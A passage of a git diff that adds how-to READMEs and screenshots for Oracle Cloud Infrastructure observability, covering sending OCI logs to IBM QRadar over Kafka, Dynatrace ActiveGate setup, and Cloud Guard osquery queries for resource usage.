000000000..127ff6dc7 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-05.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-06.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-06.png new file mode 100644 index 000000000..180413842 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-06.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-07.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-07.png new file mode 100644 index 000000000..bdb58c77c Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-07.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-08.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-08.png new file mode 100644 index 000000000..2ef4323f3 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-08.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-09.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-09.png new file mode 100644 index 000000000..c879efb4b Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-09.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-10.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-10.png new file mode 100644 index 000000000..8254d7905 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-10.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-11.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-11.png new file mode 100644 index 000000000..e62af8457 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-11.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-12.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-12.png new file mode 100644 index 000000000..8f73a581e Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-12.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-13.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-13.png new file mode 100644 index 000000000..92dc79a27 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-13.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-14.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-14.png new file mode 100644 index 000000000..f5dbd39b6 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-14.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-15.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-15.png new file mode 100644 index 000000000..4f344c37a Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-15.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-16.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-16.png new file mode 100644 index 000000000..460920373 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-16.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-17.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-17.png new file mode 100644 index 000000000..9f58716cd Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-17.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-18.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-18.png new file mode 100644 index 000000000..42a8acf71 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-18.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-19.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-19.png new file mode 100644 index 000000000..6b57940af Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-19.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-20.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-20.png new file mode 100644 index 000000000..6374d4f7c Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-20.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-21.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-21.png new file mode 100644 index 000000000..13955a1bd Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-21.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-22.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-22.png new file mode 100644 index 000000000..470a7c6bb Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-22.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-23.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-23.png new file mode 100644 index 000000000..88888affd Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-23.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-24.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-24.png new file mode 100644 index 000000000..cd9014fa9 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-24.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-25.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-25.png new file mode 100644 index 000000000..bc80a59d6 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-25.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-26.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-26.png new file mode 100644 index 000000000..4496a64b9 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-26.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-27.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-27.png new file mode 100644 index 000000000..acef0188f Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-27.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-28.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-28.png new file mode 100644 index 000000000..49d577126 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-28.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-29.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-29.png new file mode 100644 index 000000000..6c449a073 Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-29.png differ diff --git a/observability-and-management/assets/install-security-onion-on-oci/images/image-30.png b/observability-and-management/assets/install-security-onion-on-oci/images/image-30.png new file mode 100644 index 000000000..ae139048b Binary files /dev/null and b/observability-and-management/assets/install-security-onion-on-oci/images/image-30.png differ diff --git a/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/README.md b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/README.md new file mode 100644 index 000000000..a894b0438 --- /dev/null +++ b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/README.md @@ -0,0 +1,145 @@ +# Integrating OCI Logs into IBM QRadar SIEM + +This tutorial covers quick steps to configure your IBM QRadar to receive logs from OCI and assumes the user has already configured their log sources in OCI and IBM QRadar is installed and configured with the latest log source application + +Behind the scene + +Service connector will be used to move data between 2 different services in OCI + +for example, We can move data from the logging service to the streaming service which is the fundamental building block to access OCI logs on QRadar + +Press enter or click to view image in full size + +![Picture 15](./images/image-01.png) + +Press enter or click to view image in full size + +![Picture 14](./images/image-02.jpeg) + +we will use service connectors to send the logs to streams + +From Stream, we can extract data using any Kafka consumer + +Once you have successfully configured sending logs to OCI Streams using the service connector + +IBM QRadar has DSM for Kafka clients which can be used to read data from OCI Stream. + +You can enable Logging for various OCI services like + +Analytics Cloud + +API Gateway + +Application Performance Monitoring + +DevOps Logging + +Email Delivery + +Events + +Functions + +Integration Generation 2 + +Integration 3 + +Load Balancer Logs + +Media Flow + +Network Firewall Logs + +Object Storage + +Site-to-Site VPN + +You can also enable OCI Audit logs & Custom logs + +On OCI Configure your Logging data ( any of the above ) as Source and Target as Streaming + +Press enter or click to view image in full size + +![Picture 13](./images/image-03.png) + +Pro Tip : + +It is recommended to group logs from the same service to a single stream This will help later in parsing at QRadar, mixing up different service logs to a single stream will be tangled data + +Once you have configured your service connector and receiving output on the OCI stream + +On the QRadar Log Source management section + +Press enter or click to view image in full size + +![Picture 11](./images/image-04.png) + +Select New Log source & Select Single Log source + +Press enter or click to view image in full size + +![Picture 10](./images/image-05.png) + +Select log source type as [Universal DSM](https://www.ibm.com/docs/en/dsm?topic=options-apache-kafka-protocol-configuration) + +Press enter or click to view image in full size + +![Picture 9](./images/image-06.png) + +This section is specific to your use case and self explanatory + +Press enter or click to view image in full size + +![Picture 8](./images/image-07.png) + +The protocol section is required to match your OCI streaming service configuration + +Press enter or click to view image in full size + +![Picture 7](./images/image-08.png) + +Parameter to be referred from OCI Streampool section ( not stream !!) + +Under the Kafka connection setting + +bootstrap server + +username + +password is your AUTH_TOKEN in OCI + +Topic List is your OCI stream name + +Press enter or click to view image in full size + +![Picture 6](./images/image-09.jpeg) + +Press enter or click to view image in full size + +![Picture 5](./images/image-10.png) + +ensure you have the required SSL certificates for your OCI bootstrap server is placed at /opt/qradar/conf/trusted_certificates/ directory + +Press enter or click to view image in full size + +![Picture 4](./images/image-11.jpeg) + +Steps to import certificates + +Post-configuration Protocol should have all the information + +Press enter or click to view image in full size + +![Picture 3](./images/image-12.jpeg) + +Once your Parameter and Protocol are matching you should be able to receive logs from OCI to QRadar + +Press enter or click to view image in full size + +![Picture 2](./images/image-13.png) + +Press enter or click to view image in full size + +![Picture 1](./images/image-14.png) + +This idea can be applied to any Kafka consumer including a standalone Linux host diff --git a/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/.gitkeep b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/.gitkeep new file mode 100644 index 000000000..464560bc0 --- /dev/null +++ b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/.gitkeep @@ -0,0 +1 @@ +# Approved images for this article live here. diff --git a/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-01.png b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-01.png new file mode 100644 index 000000000..5809a8baf Binary files /dev/null and b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-01.png differ diff --git a/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-02.jpeg b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-02.jpeg new file mode 100644 index 000000000..6f3bc9dfb Binary files /dev/null and b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-02.jpeg differ diff --git a/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-03.png b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-03.png new file mode 100644 index 000000000..8f198b5ec Binary files /dev/null and b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-03.png differ diff --git a/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-04.png b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-04.png new file mode 100644 index 000000000..a1e0baa05 Binary files /dev/null and b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-04.png differ diff --git a/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-05.png b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-05.png new file mode 100644 index 000000000..777d719a9 Binary files /dev/null and b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-05.png differ diff --git a/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-06.png b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-06.png new file mode 100644 index 000000000..451a9d4e2 Binary files /dev/null and b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-06.png differ diff --git a/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-07.png b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-07.png new file mode 100644 index 000000000..f5a8832ea Binary files /dev/null and b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-07.png differ diff --git a/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-08.png b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-08.png new file mode 100644 index 000000000..2994b4ed9 Binary files /dev/null and b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-08.png differ diff --git a/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-09.jpeg b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-09.jpeg new file mode 100644 index 000000000..21636096a Binary files /dev/null and b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-09.jpeg differ diff --git a/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-10.png b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-10.png new file mode 100644 index 000000000..0c065d7f3 Binary files /dev/null and b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-10.png differ diff --git a/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-11.jpeg b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-11.jpeg new file mode 100644 index 000000000..93f99ece9 Binary files /dev/null and b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-11.jpeg differ diff --git a/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-12.jpeg b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-12.jpeg new file mode 100644 index 000000000..e36d67c1d Binary files /dev/null and b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-12.jpeg differ diff --git a/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-13.png b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-13.png new file mode 100644 index 000000000..a02f4fe20 Binary files /dev/null and b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-13.png differ diff --git a/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-14.png b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-14.png new file mode 100644 index 000000000..9db577207 Binary files /dev/null and b/observability-and-management/assets/integrating-oci-logs-into-ibm-qradar-siem/images/image-14.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/README.md b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/README.md new file mode 100644 index 000000000..bab6409ca --- /dev/null +++ b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/README.md @@ -0,0 +1,135 @@ +# How to monitor your OCI environment using Dynatrace + +In this guide I will show you how to set up your Dynatrace enviornment to collect metrics from OCI monitoring service. For OS Monitoring, you will still need to install the Dynatrace Agent on the Instance. + +[Oracle Cloud Infrastructure monitoring & observability | Dynatrace Hub](https://www.dynatrace.com/hub/detail/oracle-cloud-infrastructure/) + +1- Login in Dynatrace + +![Picture 35](./images/image-01.png) + +2- Press Start collecting Data: + +![Picture 34](./images/image-02.png) + +3- For OCI monitoring, you will need to use Active Gate. OCI is supported as Dynatrace states. + +ActiveGate is a multi-purpose remote data acquisition, pre-processing and forwarding module of Dynatrace. If you need to expand your monitoring capabilities to allow for monitoring of services in AWS, Azure, GCP, CloudFoudry, Kubernetes, VMware, IBM Z mainframe systems, perform Synthetic monitoring, or execute extensions capable of monitoring or additional technolgies, you’ll need ActiveGate to perform these tasks. ActiveGate is also capable of routing the data from your OneAgents to Dynatrace Clusters and can act as a configurable secure network data proxy. + +Go down on page and click on it: + +![Picture 33](./images/image-03.png) + +4- Press setup + +![Picture 32](./images/image-04.png) + +5- Select the OS. I will go with Linux: + +![Picture 31](./images/image-05.png) + +6- Generate the token, and select the architecture x86/64 + +![Picture 30](./images/image-06.png) + +7- Select the purpose to Route OneAgent traffic to Dynatrace + +![Picture 29](./images/image-07.png) + +8- Now you need to provision a linux instance in OCI(It can be anywhere, but I am using OCI), and you will install the agent and configure the connection to OCI. For testing purposes, I created my instance in a public subnet. + +![Picture 28](./images/image-08.png) + +9-Run the commands from the page: + +![Picture 27](./images/image-09.png) + +![Picture 26](./images/image-10.png) + +10- Install running and wait for Installation finished Successfully. + +```text +sudo /bin/bash Dynatrace-ActiveGate-Linux-x86–1.293.34.sh +``` + +![Picture 25](./images/image-11.png) + +![Picture 24](./images/image-12.png) + +11- Click Show Deployment Status: + +![Picture 23](./images/image-13.png) + +![Picture 22](./images/image-14.png) + +12- + +To start, activate the extension in your environment using the in-product Hub. Then provide your OCI monitoring endpoint whereabouts. You will need to provide: + +Compartment ID + +Tenancy + +User + +Fingerprint + +Region + +Path location of a PEM key file which extension will use to sign OCI monitoring API requests + +for each endpoint you are about to monitor on your OCI. + +Note: Because the configuration requires the Compartment ID & region, a new endpoint or monitoring configuration will need to be created to monitor a new region or compartment. The User account provided in the configuration must also have permissions to read all OCI settings & resources. + +![Picture 21](./images/image-15.png) + +13- Go to hub, search for Oracle and click on Oracle Cloud Infrastructure and press Install: + +![Picture 20](./images/image-16.png) + +14 — Select the Active Gate and press next: + +![Picture 19](./images/image-17.png) + +15 — Go to OCI → You monitoring User and create an API key. From there copy the relevant OCID’s(Click View Configuration file): + +![Picture 18](./images/image-18.png) + +![Picture 17](./images/image-19.png) + +![Picture 16](./images/image-20.png) + +![Picture 15](./images/image-21.png) + +16 —Go to Active Gate and add the private key : + +```text +sudo vi /var/lib/dynatrace/remotepluginmodule/agent/conf/certificates/abirzu.pem +``` + +![Picture 14](./images/image-22.png) + +17 — Press next , Give a name to the extension and select what you want to monitor in OCI and press Save: + +![Picture 13](./images/image-23.png) + +18 — Wait for the activation to finish: + +![Picture 12](./images/image-24.png) + +You need to have patience until all data is collected.(I have pasted the wrong Key Fingerprint, but after I put the correct key, data started to be collected.) + +![Picture 11](./images/image-25.png) + +![Picture 10](./images/image-26.png) + +![Picture 9](./images/image-27.png) + +Go to Dashboards - Search App — Extensions →and check the views: + +![Picture 8](./images/image-28.png) + +![Picture 7](./images/image-29.png) + +Congratulations! You have configured Dynatrace to collect logs from OCI. diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-01.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-01.png new file mode 100644 index 000000000..e4b54712e Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-01.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-02.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-02.png new file mode 100644 index 000000000..47bb978dd Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-02.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-03.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-03.png new file mode 100644 index 000000000..1c298ee1d Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-03.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-04.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-04.png new file mode 100644 index 000000000..5bf14e02b Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-04.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-05.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-05.png new file mode 100644 index 000000000..c74af50b9 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-05.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-06.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-06.png new file mode 100644 index 000000000..c1c2a6fdc Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-06.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-07.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-07.png new file mode 100644 index 000000000..08591d03f Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-07.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-08.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-08.png new file mode 100644 index 000000000..3095b6a44 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-08.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-09.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-09.png new file mode 100644 index 000000000..025392b60 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-09.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-10.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-10.png new file mode 100644 index 000000000..95f1757bd Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-10.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-11.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-11.png new file mode 100644 index 000000000..2f7239116 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-11.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-12.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-12.png new file mode 100644 index 000000000..5471e9767 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-12.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-13.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-13.png new file mode 100644 index 000000000..149bcc49f Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-13.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-14.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-14.png new file mode 100644 index 000000000..41ce5d1bc Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-14.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-15.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-15.png new file mode 100644 index 000000000..884fe4ba3 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-15.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-16.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-16.png new file mode 100644 index 000000000..3124b4719 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-16.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-17.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-17.png new file mode 100644 index 000000000..d68ff76c2 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-17.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-18.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-18.png new file mode 100644 index 000000000..9b1341c64 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-18.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-19.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-19.png new file mode 100644 index 000000000..eb2da8b2f Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-19.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-20.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-20.png new file mode 100644 index 000000000..d6b3e25f3 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-20.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-21.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-21.png new file mode 100644 index 000000000..75344ee72 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-21.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-22.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-22.png new file mode 100644 index 000000000..be81c1d9e Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-22.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-23.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-23.png new file mode 100644 index 000000000..02d0eee80 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-23.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-24.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-24.png new file mode 100644 index 000000000..3573b2c6f Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-24.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-25.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-25.png new file mode 100644 index 000000000..5ff2fd591 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-25.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-26.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-26.png new file mode 100644 index 000000000..f00da1d68 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-26.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-27.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-27.png new file mode 100644 index 000000000..fb141f3a5 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-27.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-28.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-28.png new file mode 100644 index 000000000..a776327f2 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-28.png differ diff --git a/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-29.png b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-29.png new file mode 100644 index 000000000..f06e4df17 Binary files /dev/null and b/observability-and-management/assets/monitor-oci-environment-using-dynatrace/images/image-29.png differ diff --git a/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/README.md b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/README.md new file mode 100644 index 000000000..76abe157c --- /dev/null +++ b/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/README.md @@ -0,0 +1,193 @@ +# How to monitor the resource usage on your OCI Instances using Cloud Guard Instance Security Queries + +Oracle Cloud Guard’s Instance Security feature is a powerful tool designed to enhance your cloud security posture by continuously monitoring, identifying, and responding to potential risks in your Oracle Cloud Infrastructure (OCI) instances. Now, even if it’s main task is Security, you can extend the usage of this service to Observability, and run advanced queries. + +One of the usecases I was asked about is how to monitor the usage of resources on a OCI instance, and I tested and proposed this workflow. + +Behind the Queries is OSQuery, a very powerful tool that can be used to run SQL like queries against the OS. + +Cloud Guard allows you to create and customize (security/observability) queries based on your specific operational needs. Whether you need to track unauthorized access, ensure compliance, or monitor resource usage, Instance Security Queries(Paid feature) provide the flexibility to build targeted checks tailored to your organization’s security requirements. + +For this blog entry I will focus on Process and Resource Monitoring. + +By using OSQuery integrated with Cloud Guard, you can monitor processes running on your instances, identify suspicious activities, and track resource utilization. This level of monitoring helps in early detection of anomalies, such as unauthorized users or unexpected resource consumption spikes. + +1 — Enable Cloud Guard(It’s free to monitor your OCI tenancy!!!) if you haven’t in your tenancy and create the proper IAM rules: + +Prerequisites | [Link](https://docs.oracle.com/en-us/iaas/cloud-guard/using/prerequisites.htm?source=post_page-----342836ca2811---------------------------------------) + + +2- Get familiar with the Query service capabilities: + +About Queries | [Link](https://docs.oracle.com/en-us/iaas/cloud-guard/using/queries-about.htm?source=post_page-----342836ca2811---------------------------------------) + + + +3- Go to Cloud Guard →Configuration →Create new target → Point it to your compartment: + +![Picture 34](./images/image-01.png) + +![Picture 33](./images/image-02.png) + +Select the recieps: + +![Picture 32](./images/image-03.png) + +I have attached all this receips and saved: + +![Picture 31](./images/image-04.png) + +Check the Instance to have Cloud Guard Workload Protection(Paid feature) enabled. + +![Picture 30](./images/image-05.png) + +4- Go to Cloud Guard → Queries and run the needed queries + +![Picture 29](./images/image-06.png) + +Some examples: + +```text +— Provide an osquery +SELECT + u.username AS user, + g.groupname AS `group`, + COUNT(p.pid) AS process_count, + SUM(p.user_time + p.system_time) AS total_cpu_time, + ROUND((SUM(p.user_time + p.system_time) / (SELECT SUM(user_time + system_time) FROM processes)) * 100, 2) AS cpu_usage_percentage, + SUM(p.resident_size) AS total_memory_usage, + ROUND((SUM(p.resident_size) / (SELECT SUM(resident_size) FROM processes)) * 100, 2) AS memory_usage_percentage +FROM + processes p +JOIN + users u ON p.uid = u.uid +JOIN + groups g ON u.gid = g.gid +GROUP BY + u.username, g.groupname +ORDER BY + cpu_usage_percentage DESC, memory_usage_percentage DESC +LIMIT 10; +``` + +![Picture 28](./images/image-07.png) + +Now we have the results, we can get this data and use it for additional computations. At this point I will download the CSV with the results, but 